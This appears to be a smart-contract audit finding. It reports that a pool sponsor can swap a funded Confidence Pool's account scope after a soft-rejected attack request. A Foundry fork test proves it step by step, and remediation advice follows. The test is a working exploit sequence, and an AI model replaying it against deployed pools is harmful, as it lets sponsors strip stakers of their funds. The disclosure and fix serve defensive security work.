A Confidence Pool is intended to let its sponsor replace the pool-local account scope only while the Agreement remains in NOT_DEPLOYED or NEW_DEPLOYMENT. The first pool interaction that observes any later registry state, including ATTACK_REQUESTED, must permanently lock that scope so existing stakers continue underwriting the account list they accepted.
The deployed AttackRegistry has a normal soft-rejection path that returns the Agreement from ATTACK_REQUESTED to NOT_DEPLOYED. A pool sponsor that retains the Agreement's ordinary attack-request role can pause stake and bonus inflows, request attack mode, let both observation paths roll back, receive a normal DAO soft rejection, and then replace a funded pool's account scope. The sponsor can re-request the same Agreement and expose the existing pool to a different account. In the fork PoC, corruption of that replacement account forfeits the entire 200-token pool even though the stakers originally accepted only the control account.
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {
AgreementDetails,
Account as AgreementAccount,
Chain as AgreementChain,
ChildContractScope
} from "@battlechain/types/AgreementTypes.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
contract CodexGpt5V6_20260712_LiveRejectedRequestScopeMutationForkTest is Test {
address internal constant SAFE_HARBOR_REGISTRY = 0x0a652e265336a0296816aC4D8400880e3E537C24;
address internal constant ATTACK_REGISTRY = 0xdD029a6374095EEb4c47a2364Ce1D0f47f007350;
address internal constant AGREEMENT_FACTORY = 0x2Bee2970f10FDc2aeA28662BB6F6A501278Ebd46;
address internal constant REGISTRY_MODERATOR = 0x1bC64E6F187a47D136106784f4E9182801535BD3;
address internal constant TEMPLATE_AGREEMENT = 0xE550894617Ac4C1bbc019C2AA5D47495a0F07716;
address internal constant SPONSOR = 0x3EfcFc441c1e70A141850D4da0d5C7314952Fc3d;
uint256 internal constant PIN_BLOCK = 16_000;
string internal constant BATTLECHAIN_CAIP2 = "eip155:627";
address internal originalAccount = makeAddr("v6-original-safe-scope");
address internal replacementAccount = makeAddr("v6-replacement-breached-scope");
address internal honestStaker = makeAddr("v6-scope-mutation-honest-staker");
address internal bonusContributor = makeAddr("v6-scope-mutation-bonus-contributor");
address internal poolModerator = makeAddr("v6-scope-mutation-pool-moderator");
address internal whitehat = makeAddr("v6-scope-mutation-whitehat");
address internal recovery = makeAddr("v6-scope-mutation-recovery");
IAttackRegistry internal registry = IAttackRegistry(ATTACK_REGISTRY);
MockERC20 internal token;
ConfidencePool internal controlPool;
ConfidencePool internal mutatedPool;
address internal agreement;
function setUp() external {
vm.createSelectFork("battlechain_testnet", PIN_BLOCK);
agreement = _createAgreementWithBothAccounts();
ConfidencePool implementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ConfidencePoolFactory factory = ConfidencePoolFactory(
address(
new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(implementation), poolModerator)
)
)
)
);
token = new MockERC20();
factory.setStakeTokenAllowed(address(token), true);
address[] memory initialScope = new address[](1);
initialScope[0] = originalAccount;
uint256 expiry = block.timestamp + 31 days;
vm.startPrank(SPONSOR);
controlPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
mutatedPool = ConfidencePool(factory.createPool(agreement, address(token), expiry, 1, recovery, initialScope));
vm.stopPrank();
_fundPool(controlPool);
_fundPool(mutatedPool);
}
function testRejectedRequestLetsSponsorReplaceReliedUponScopeBeforeRerequest() external {
vm.prank(SPONSOR);
mutatedPool.pause();
vm.prank(SPONSOR);
IAgreement(agreement).extendCommitmentWindow(block.timestamp + 7 days);
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
assertEq(
uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED)
);
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
mutatedPool.pokeRiskWindow();
assertFalse(mutatedPool.scopeLocked(), "reverted poke rolled back the scope lock");
vm.prank(honestStaker);
vm.expectRevert(IConfidencePool.PoolPaused.selector);
mutatedPool.contributeBonus(1);
assertFalse(mutatedPool.scopeLocked(), "paused inflows cannot persist the post-staging lock");
address[] memory replacementScope = new address[](1);
replacementScope[0] = replacementAccount;
vm.prank(SPONSOR);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
mutatedPool.setPoolScope(replacementScope);
assertFalse(mutatedPool.scopeLocked(), "reverted setter also rolled back the scope lock");
assertTrue(mutatedPool.isAccountInScope(originalAccount));
vm.prank(REGISTRY_MODERATOR);
registry.rejectAttackRequest(agreement, false);
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.NOT_DEPLOYED));
vm.prank(SPONSOR);
mutatedPool.setPoolScope(replacementScope);
assertFalse(mutatedPool.scopeLocked());
assertFalse(mutatedPool.isAccountInScope(originalAccount));
assertTrue(mutatedPool.isAccountInScope(replacementAccount));
assertTrue(controlPool.isAccountInScope(originalAccount));
assertFalse(controlPool.isAccountInScope(replacementAccount));
vm.prank(SPONSOR);
registry.requestUnderAttackForUnverifiedContracts(agreement);
vm.prank(REGISTRY_MODERATOR);
registry.approveAttack(agreement);
controlPool.pokeRiskWindow();
mutatedPool.pokeRiskWindow();
assertTrue(controlPool.scopeLocked());
assertTrue(mutatedPool.scopeLocked());
assertEq(uint256(registry.getAgreementState(agreement)), uint256(IAttackRegistry.ContractState.UNDER_ATTACK));
vm.prank(REGISTRY_MODERATOR);
registry.instantCorrupt(agreement);
vm.startPrank(poolModerator);
controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
mutatedPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
vm.stopPrank();
vm.prank(whitehat);
mutatedPool.claimAttackerBounty();
assertEq(token.balanceOf(whitehat), 200e18, "mutated-scope stakers lose the whole pool");
assertEq(token.balanceOf(address(mutatedPool)), 0);
vm.prank(SPONSOR);
controlPool.claimSurvived();
vm.prank(honestStaker);
controlPool.claimSurvived();
assertEq(token.balanceOf(SPONSOR), 133_333333333333333333);
assertEq(token.balanceOf(honestStaker), 66_666666666666666666);
assertEq(token.balanceOf(address(controlPool)), 1);
emit log_named_uint("whitehat payout from mutated pool", token.balanceOf(whitehat));
emit log_named_uint("sponsor control-pool payout", token.balanceOf(SPONSOR));
emit log_named_uint("honest control-pool payout", token.balanceOf(honestStaker));
}
function _createAgreementWithBothAccounts() internal returns (address created) {
AgreementDetails memory details = IAgreement(TEMPLATE_AGREEMENT).getDetails();
details.protocolName = "V6 rejected request scope mutation";
details.agreementURI = "ipfs://v6-rejected-request-scope-mutation";
details.chains = new AgreementChain[](1);
details.chains[0].caip2ChainId = BATTLECHAIN_CAIP2;
details.chains[0].assetRecoveryAddress = vm.toString(recovery);
details.chains[0].accounts = new AgreementAccount[](2);
details.chains[0].accounts[0] = AgreementAccount({
accountAddress: vm.toString(originalAccount), childContractScope: ChildContractScope.None
});
details.chains[0].accounts[1] = AgreementAccount({
accountAddress: vm.toString(replacementAccount), childContractScope: ChildContractScope.None
});
vm.prank(SPONSOR);
created = IAgreementFactory(AGREEMENT_FACTORY)
.create(details, SPONSOR, keccak256("codex-gpt5-v6-rejected-request-scope-mutation"));
}
function _fundPool(ConfidencePool target) internal {
_stakeInto(target, SPONSOR, 100e18);
_stakeInto(target, honestStaker, 50e18);
token.mint(bonusContributor, 50e18);
vm.startPrank(bonusContributor);
token.approve(address(target), 50e18);
target.contributeBonus(50e18);
vm.stopPrank();
}
function _stakeInto(ConfidencePool target, address user, uint256 amount) internal {
token.mint(user, amount);
vm.startPrank(user);
token.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
}
The most robust fix is to freeze scope when the first stake creates staker reliance, just as the same call already freezes expiry. This removes any dependency on a later registry observation and prevents a rejected request from reopening the meaning of an already-funded pool.
When retaining the current post-staging policy is required, provide a dedicated non-reverting scope-observation path. At minimum, pokeRiskWindow() must return successfully when _observePoolState() newly locks scope in ATTACK_REQUESTED, even though no risk-window marker was set. Add a regression covering funded pool -> ATTACK_REQUESTED -> soft rejection -> attempted scope replacement -> re-request.